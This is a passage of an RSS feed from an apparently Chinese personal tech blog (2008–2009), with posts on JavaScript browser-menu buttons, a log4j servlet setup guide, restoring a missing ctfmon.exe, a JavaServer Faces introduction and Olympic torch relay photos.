oResult.childNodes.item(0);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //forefox下不支持以下用法&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //var oRec = oResult.childNodes[0];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(oTitle.nodeType == 1){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //这里为什么要加判断请看这里&lt;a href="http://blog.csdn.net/zgh2002007/archive/2007/11/07/1871812.aspx"&gt;http://blog.csdn.net/zgh2002007/archive/2007/11/07/1871812.aspx&lt;/a&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var sName = oTitle.getAttribute(&amp;quot;name&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var sValue = oRec.childNodes.item(j).text;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  $(&amp;quot;#&amp;quot;+sName).val(sValue);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  j +=1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;  }&lt;br&gt; }&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=144</guid><pubDate>Sat, 14 Jun 2008 08:56:00 GMT</pubDate></item><item><title>浏览器无法使用中文输入法的解决办法</title><link>http://www.chendw.cn:8080/view.aspx?id=143</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;今天中了木马，在杀马的时候不小心把系统文件给灭了，导致在浏览器里无法使用输入法，而在qq等程序里都正常。下面是解决办法。&lt;/p&gt;
&lt;p&gt;查找C:\WINDOWS\system32\目录下没有发现ctfmon.exe（输入发指示图标）这个文件，估计是病毒感染被杀了，知道原因解决起来就简单了。&lt;/p&gt;
&lt;p&gt;从别的机子上拷一个ctfmon.exe过来，放到C:\WINDOWS\system32\目录下，双击运行。在去浏览器里试了下，正常了呵呵。&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=143</guid><pubDate>Sun, 29 Mar 2009 03:04:20 GMT</pubDate></item><item><title>[JS]JS实现浏览器菜单命令</title><link>http://www.chendw.cn:8080/view.aspx?id=142</link><description>&lt;div id="blog_text" class="cnt"&gt;&amp;lt;object id=min classid=&amp;quot;clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&amp;quot;&amp;gt;&amp;lt;param name=&amp;quot;&lt;a class="bluekey" href="http://search.yesky.com/search?q=COM" target="_blank"&gt;&lt;font color="#003399"&gt;Com&lt;/font&gt;&lt;/a&gt;mand&amp;quot; &lt;em&gt;value&lt;/em&gt;=&amp;quot;Minimize&amp;quot;&amp;gt;&amp;lt;/object&amp;gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&amp;lt;object id=max classid=&amp;quot;clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&amp;quot;&amp;gt;&amp;lt;param name=&amp;quot;Command&amp;quot; &lt;em&gt;value&lt;/em&gt;=&amp;quot;Maximize&amp;quot;&amp;gt;&amp;lt;/object&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;object id=close classid=&amp;quot;clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11&amp;quot;&amp;gt;&amp;lt;PARAM NAME=&amp;quot;Command&amp;quot; &lt;em&gt;value&lt;/em&gt;=&amp;quot;Close&amp;quot;&amp;gt;&amp;lt;/object&amp;gt; &lt;/p&gt;&lt;p&gt;&amp;lt;input type=button &lt;em&gt;value&lt;/em&gt;=最小化 &lt;em&gt;onclick&lt;/em&gt;=min.Click()&amp;gt; &lt;/p&gt;&lt;p&gt;&amp;lt;input type=button &lt;em&gt;value&lt;/em&gt;=最大化 &lt;em&gt;onclick&lt;/em&gt;=max.Click()&amp;gt; &lt;/p&gt;&lt;p&gt;&amp;lt;input type=button &lt;em&gt;value&lt;/em&gt;=关闭 &lt;em&gt;onclick&lt;/em&gt;=close.Click()&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;document.execCommand('open')&amp;quot; &lt;em&gt;value&lt;/em&gt;=打开&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;document.execCommand('saveas')&amp;quot; &lt;em&gt;value&lt;/em&gt;=保存&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;document.execCommand('print')&amp;quot; &lt;em&gt;value&lt;/em&gt;=&lt;a class="bluekey" href="http://product.yesky.com/catalog/821/" target="_blank"&gt;&lt;font color="#003399"&gt;打印&lt;/font&gt;&lt;/a&gt;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;document.execCommand('selectall')&amp;quot; &lt;em&gt;value&lt;/em&gt;=全选&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;location.replace('view-source:'+location)&amp;quot; &lt;em&gt;value&lt;/em&gt;=源文件&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;window.external.ShowBrowserUI('PrivacySettings',null)&amp;quot; &lt;em&gt;value&lt;/em&gt;=&lt;a class="bluekey" href="http://soft.yesky.com/security/" target="_blank"&gt;&lt;font color="#003399"&gt;安全&lt;/font&gt;&lt;/a&gt;选项&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;input type=button &lt;em&gt;onClick&lt;/em&gt;=&amp;quot;window.external.ShowBrowserUI('LanguageDialog', null)&amp;quot; &lt;em&gt;value&lt;/em&gt;=语言设置&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;window.external.AddFavorite(location.href, document.title)&amp;quot; &lt;em&gt;value&lt;/em&gt;=加入收藏夹&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT type=button &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;window.external.ShowBrowserUI('OrganizeFavorites', null)&amp;quot; &lt;em&gt;value&lt;/em&gt;=整理收藏夹&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT &lt;em&gt;onclick&lt;/em&gt;=history.go(-1) type=submit &lt;em&gt;value&lt;/em&gt;=后退&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;INPUT &lt;em&gt;onclick&lt;/em&gt;=history.go(1) type=submit &lt;em&gt;value&lt;/em&gt;=前进&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;input type=button &lt;em&gt;value&lt;/em&gt;=刷新 name=refresh &lt;em&gt;onclick&lt;/em&gt;=&amp;quot;window.location.reload()&amp;quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;input type=&amp;quot;button&amp;quot; &lt;em&gt;value&lt;/em&gt;=&amp;quot;导入收藏夹&amp;quot; &lt;em&gt;onClick&lt;/em&gt;=window.external.ImportExportFavorites(true,'');&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;input type=&amp;quot;button&amp;quot; &lt;em&gt;value&lt;/em&gt;=&amp;quot;导出收藏夹&amp;quot; &lt;em&gt;onClick&lt;/em&gt;=window.external.ImportExportFavorites(false,'');&amp;gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=142</guid><pubDate>Tue, 10 Jun 2008 07:22:00 GMT</pubDate></item><item><title>log4j使用方法</title><link>http://www.chendw.cn:8080/view.aspx?id=140</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;1、工程中引入log4j-1.2.14.jar&lt;/p&gt;&lt;p&gt;2、工程中增加一个servlet，源程序如下：&lt;/p&gt;&lt;p&gt;package com.xgsj.servlets;&lt;br&gt;import java.io.IOException;&lt;/p&gt;&lt;p&gt;import javax.servlet.ServletContext;&lt;br&gt;import javax.servlet.ServletException;&lt;br&gt;import javax.servlet.http.HttpServlet;&lt;br&gt;import javax.servlet.http.HttpServletRequest;&lt;br&gt;import javax.servlet.http.HttpServletResponse;&lt;/p&gt;&lt;p&gt;import org.apache.log4j.PropertyConfigurator;&lt;/p&gt;&lt;p&gt;/**&lt;br&gt;类介绍：初始化log4j&lt;br&gt;开发人员：xjxhd&lt;br&gt;创建日期：&lt;/p&gt;&lt;p&gt;修改日期：&lt;br&gt;*/&lt;br&gt;public class InitLog4j extends HttpServlet {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  private static final String CONTENT_TYPE = &amp;quot;text/html; charset=GBK&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  public  static String CONTEXT_PATH=&amp;quot;&amp;quot;;&lt;br&gt; /**&lt;br&gt;  * Constructor of the object.&lt;br&gt;  */&lt;br&gt; public InitLog4j() {&lt;br&gt;&amp;nbsp;&amp;nbsp; super();&lt;br&gt; }&lt;/p&gt;&lt;p&gt; /**&lt;br&gt;  * Destruction of the servlet. &amp;lt;br&amp;gt;&lt;br&gt;  */&lt;br&gt; public void destroy() {&lt;br&gt;&amp;nbsp;&amp;nbsp; super.destroy(); // Just puts &amp;quot;destroy&amp;quot; string in log&lt;br&gt;&amp;nbsp;&amp;nbsp; // Put your code here&lt;br&gt; }&lt;/p&gt;&lt;p&gt; public void doGet(HttpServletRequest request, HttpServletResponse response)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; throws ServletException, IOException {&lt;/p&gt;&lt;p&gt; }&lt;/p&gt;&lt;p&gt; public void doPost(HttpServletRequest request, HttpServletResponse response)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; throws ServletException, IOException {&lt;/p&gt;&lt;p&gt;&lt;br&gt; }&lt;/p&gt;&lt;p&gt;&lt;font color="#ff0000"&gt; public void init() throws ServletException {&lt;br&gt;&amp;nbsp;&amp;nbsp; // Put your code here&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ServletContext sct=getServletContext();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String prefix = sct.getRealPath(&amp;quot;/&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  CONTEXT_PATH=prefix;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //log4j 配置文件存放目录&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;[....Log4j]: The Root Path: &amp;quot; + prefix);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;[....Log4j]: InitServlet init start...&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String file = getInitParameter(&amp;quot;log4j&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //log4j 配置文件&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (file != null) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  PropertyConfigurator.configure(prefix + &amp;quot;/&amp;quot;+file);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;[....Log4j]:Property File's full name is :&amp;quot;+prefix + file);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //根据配置初始化log4j&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;[....Log4j]: InitServlet Init Sucess...&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt; }&lt;/font&gt;&lt;/p&gt;&lt;p&gt;}&lt;br&gt;注意红色字体部分&lt;/p&gt;&lt;p&gt;3、在web.xml文件中增加对上述servlet的引用&lt;/p&gt;&lt;p&gt;  &amp;lt;servlet&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;servlet-name&amp;gt;InitLog4j&amp;lt;/servlet-name&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;servlet-class&amp;gt;com.xgsj.servlets.InitLog4j&amp;lt;/servlet-class&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;init-param&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;param-name&amp;gt;log4j&amp;lt;/param-name&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;param-value&amp;gt;/WEB-INF/&lt;font color="#ff0000"&gt;log4j.properties&lt;/font&gt;&amp;lt;/param-value&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/init-param&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;&lt;br&gt;  &amp;lt;/servlet&amp;gt;&lt;/p&gt;&lt;p&gt;  &amp;lt;servlet-mapping&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;servlet-name&amp;gt;InitLog4j&amp;lt;/servlet-name&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;url-pattern&amp;gt;/servlet/InitLog4j&amp;lt;/url-pattern&amp;gt;&lt;br&gt;  &amp;lt;/servlet-mapping&amp;gt;&lt;br&gt;4、在项目中增加log4j.properties文件，例如上面红色字体所示，该文件放在WEB-INF下，文件内容如下：&lt;/p&gt;&lt;p&gt;log4j.rootLogger=debug, stdout, R&lt;br&gt;#log4j.rootLogger=error, stdout, R&lt;/p&gt;&lt;p&gt;log4j.appender.stdout=org.apache.log4j.ConsoleAppender&lt;br&gt;log4j.appender.stdout.layout=org.apache.log4j.PatternLayout&lt;/p&gt;&lt;p&gt;# Pattern to output the caller's file name and line number.&lt;br&gt;#log4j.appender.stdout.layout.ConversionPattern=%5p [%t] (%F:%L) - %m%n&lt;br&gt;log4j.appender.stdout.layout.ConversionPattern=%5p [%d{yyyy-MM-dd HH:mm:ss}] (%F:%L) - %m%n&lt;/p&gt;&lt;p&gt;#R&lt;br&gt;log4j.appender.R=org.apache.log4j.RollingFileAppender&lt;br&gt;#log4j.appender.R.File=/usr/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/loopbackNode01Cell/PoliceWeb_war.ear/PoliceWeb.war/WEB-INF/logs/police.log&lt;br&gt;#log4j.appender.R.File==${webapp}\\logs\\police.log&lt;br&gt;#log4j.appender.R.File==../logs/police.log&lt;br&gt;log4j.appender.R.File=D:\\work\\myeclipse\\GsjOa\\WebRoot\\WEB-INF\\logs\\oa.log&lt;/p&gt;&lt;p&gt;log4j.appender.R.MaxFileSize=1024KB&lt;br&gt;# Keep one backup file&lt;br&gt;log4j.appender.R.MaxBackupIndex=10&lt;/p&gt;&lt;p&gt;log4j.appender.R.layout=org.apache.log4j.PatternLayout&lt;br&gt;log4j.appender.R.layout.ConversionPattern=%5p [%d{yyyy-MM-dd HH:mm:ss}] (%F:%L) - %m%n&lt;br&gt;注意上述路径用两个斜杠代表地址分割符&lt;/p&gt;&lt;p&gt;5、测试类如下：&lt;/p&gt;&lt;p&gt;import com.xgsj.util.ConnDataBase;&lt;br&gt;import java.sql.ResultSet;&lt;br&gt;import java.sql.Statement;&lt;br&gt;import java.util.ArrayList;&lt;br&gt;import java.util.HashMap;&lt;br&gt;&lt;font color="#ff0000"&gt;import org.apache.log4j.Logger;&lt;/font&gt;&lt;br&gt;import java.sql.Connection;&lt;br&gt;import java.util.*;&lt;/p&gt;&lt;p&gt;public class FunctionManager {&lt;br&gt; &lt;br&gt; public ArrayList queryAllModules()//查询所有模块&lt;br&gt; {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Connection conn = null;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Statement stmt = null;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ResultSet rst=null;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ArrayList ret=new ArrayList();&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String sql=&amp;quot;select  * from modules order by mkbh&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;font color="#ff0000"&gt;Logger logger=Logger.getRootLogger();&lt;br&gt;&lt;/font&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;font color="#ff0000"&gt;logger.debug(sql);&lt;/font&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ConnDataBase db=new ConnDataBase();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  conn=db.getConnection();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  try&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  stmt = conn.createStatement();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  rst = stmt.executeQuery(sql);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  while (rst.next()) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  HashMap hm=new HashMap();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  hm.put(&amp;quot;mkbh&amp;quot;,rst.getString(&amp;quot;mkbh&amp;quot;));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  hm.put(&amp;quot;mkmc&amp;quot;,rst.getString(&amp;quot;mkmc&amp;quot;));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  hm.put(&amp;quot;mkxh&amp;quot;, rst.getString(&amp;quot;mkxh&amp;quot;));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ret.add(hm);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  catch(Exception e)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  e.printStackTrace();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  finally{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  try&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (rst != null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  rst.close();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (stmt!=null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  stmt.close();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (conn!=null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  conn.close();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  catch(Exception e)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  e.printStackTrace();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  return ret; &lt;br&gt; }&lt;br&gt;｝&lt;/p&gt;&lt;p&gt;注意该类中的红色字体，就是应用log4j的方法，好了，就那么简单，在log4j.properties中还可以指定输出日志的格式和输出文件的位置，自己试试。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=140</guid><pubDate>Sat, 07 Jun 2008 05:41:00 GMT</pubDate></item><item><title>[JSF]语言技术: JavaServer Faces</title><link>http://www.chendw.cn:8080/view.aspx?id=139</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;a href="http://java.sun.com/j2ee/javaserverfaces/"&gt;JavaServer Faces&lt;/a&gt; 于2004年三月1.0版正式提出，清楚的将Web应用程式的开发者划分了三个角色：网页设计人员、应用程式设计人员以及UI元件开发人员。从使用的角度来看，网页设计人员与应用程式设计人员可以他们所熟悉的方式开发程式，而不用侵入彼此的工作范围，而UI元件开发人员可以独立的开发个别元件，细节的部份留给了他们来处理。&lt;br&gt;&lt;br&gt;总而言之，JavaServer Faces 协助了职责的分别，让不同属性的开发人员可以彼此合作，而又互不侵扰，UI元件的开发搭配整合开发环境（IDE）或是所视即可得的网页编辑程式，让Web 应用程式的开发得以简单且迅速，藉此提高应用程式开发效率。&lt;br&gt;&lt;br&gt;JavaServer Faces 可以简单，可以复杂，端看您从哪个角色来看它，这边的文件是在学习 JavaServer Faces 过程中的一些心得，尝试从三个角色的位置来谈谈 JavaServer Faces。&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://caterpillar.onlyfun.net/GossipCN/JSF/JavaServerFaces.htm"&gt;详细请点击该处&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=139</guid><pubDate>Thu, 05 Jun 2008 08:16:00 GMT</pubDate></item><item><title>奥运圣火杭州传递-“生活品质之路”</title><link>http://www.chendw.cn:8080/view.aspx?id=184</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/bbaf479fc0a64425b71487fc3a9ecb31.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/d139876953224e2db7a4e42048f8e49d.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/df936fcbda114b23ad6ae2e76e8850e6.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/dec9fc25445c4d939b71eb9cdf3d4c13.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/85089131ef1543c7ad6b56e926b0d7cf.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/0e952dcb0c7343e7bcbb0c70fc4cd7ce.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/8fab5c83d8c0421b9de4ba78ba657199.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/90947cfedec54a0086acc7950ee4bdd6.jpg" target="_blank"&gt;&lt;/a&gt;由于去晚了，人太多挤不进传递的起点和终点只有最后在传递途中一旁等候。足足等了3个小时终于还是看到火炬了，虽然只是短短的一两分钟。 &lt;br /&gt;&lt;br /&gt;呵呵 来张特写&lt;/p&gt;
